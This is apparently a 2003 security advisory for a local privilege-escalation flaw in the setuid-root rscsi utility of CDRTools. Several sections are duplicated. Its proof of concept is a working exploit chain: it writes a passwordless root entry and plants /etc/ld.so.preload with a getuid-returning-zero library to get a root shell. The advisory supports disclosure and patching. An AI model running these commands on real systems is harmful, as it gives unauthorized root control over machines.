CDRTools RSCSI Debug File Arbitrary Local File Manipulation Vulnerability
BID:8328
Info
CDRTools RSCSI Debug File Arbitrary Local File Manipulation Vulnerability
| Bugtraq ID: | 8328 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Aug 01 2003 12:00AM |
| Updated: | Aug 01 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to Secure Network Operations, Inc. |
| Vulnerable: |
CDRTools CDRTools 2.0.3 CDRTools CDRTools 2.0 |
| Not Vulnerable: |
CDRTools CDRTools 2.0.1 a18 |
Discussion
CDRTools RSCSI Debug File Arbitrary Local File Manipulation Vulnerability
It has been reported that the rscsi utility may provide for the modification of ownership and the corruption of arbitrary attacker specified files.
It has been reported that a local attacker may invoke the rscsi utility to corrupt or seize group ownership of an attacker specified file. Because the rscsi utility is installed with setuid 'root' permissions by default, a local attacker may harness this vulnerability to achieve elevated privileges.
It has been reported that the rscsi utility may provide for the modification of ownership and the corruption of arbitrary attacker specified files.
It has been reported that a local attacker may invoke the rscsi utility to corrupt or seize group ownership of an attacker specified file. Because the rscsi utility is installed with setuid 'root' permissions by default, a local attacker may harness this vulnerability to achieve elevated privileges.
Exploit / POC
CDRTools RSCSI Debug File Arbitrary Local File Manipulation Vulnerability
The following proof of concept has been supplied:
$ echo C`echo -e
"\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/bash\x0a"` |
/opt/schily/sbin/rscsi /tmp/lala
[kf@vegeta kf]$ ls -al /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
[kf@vegeta kf]$ cat > oops.c
int getuid(void)
{
return(0);
}
[kf@vegeta kf]$ gcc -c -o oops.o oops.c
[kf@vegeta kf]$ ld -shared -o oops.so oops.o
[kf@vegeta kf]$ ls -al oops.so
-rwxrwxr-x 1 kf kf 1714 Jul 30 18:53 oops.so
[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ld.so.preload
E0
Garbage command
0
-rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/ld.so.preload
[kf@vegeta kf]$ echo /home/kf/oops.so > /etc/ld.so.preload
[kf@vegeta kf]$ su
[root@vegeta kf]# rm /etc/ld.so.preload
rm: remove regular file `/etc/ld.so.preload'? y
[root@vegeta kf]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
The following proof of concept has been supplied:
$ echo C`echo -e
"\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/bash\x0a"` |
/opt/schily/sbin/rscsi /tmp/lala
[kf@vegeta kf]$ ls -al /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
[kf@vegeta kf]$ cat > oops.c
int getuid(void)
{
return(0);
}
[kf@vegeta kf]$ gcc -c -o oops.o oops.c
[kf@vegeta kf]$ ld -shared -o oops.so oops.o
[kf@vegeta kf]$ ls -al oops.so
-rwxrwxr-x 1 kf kf 1714 Jul 30 18:53 oops.so
[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ld.so.preload
E0
Garbage command
0
-rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/ld.so.preload
[kf@vegeta kf]$ echo /home/kf/oops.so > /etc/ld.so.preload
[kf@vegeta kf]$ su
[root@vegeta kf]# rm /etc/ld.so.preload
rm: remove regular file `/etc/ld.so.preload'? y
[root@vegeta kf]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Solution / Fix
CDRTools RSCSI Debug File Arbitrary Local File Manipulation Vulnerability
Solution:
The vendor has announced that a patched development release is available, that will address this issue:
CDRTools CDRTools 2.0
CDRTools CDRTools 2.0.3
Solution:
The vendor has announced that a patched development release is available, that will address this issue:
CDRTools CDRTools 2.0
-
cdrtools cdrtools 2.01a18 (Development)
http://freshmeat.net/releases/131136/
CDRTools CDRTools 2.0.3
-
cdrtools cdrtools 2.01a18 (Development)
http://freshmeat.net/releases/131136/
References
CDRTools RSCSI Debug File Arbitrary Local File Manipulation Vulnerability
References:
References:
- CDRTools Homepage (CDRTools)
- SRT2003-08-01-0126.txt (secnetops.com)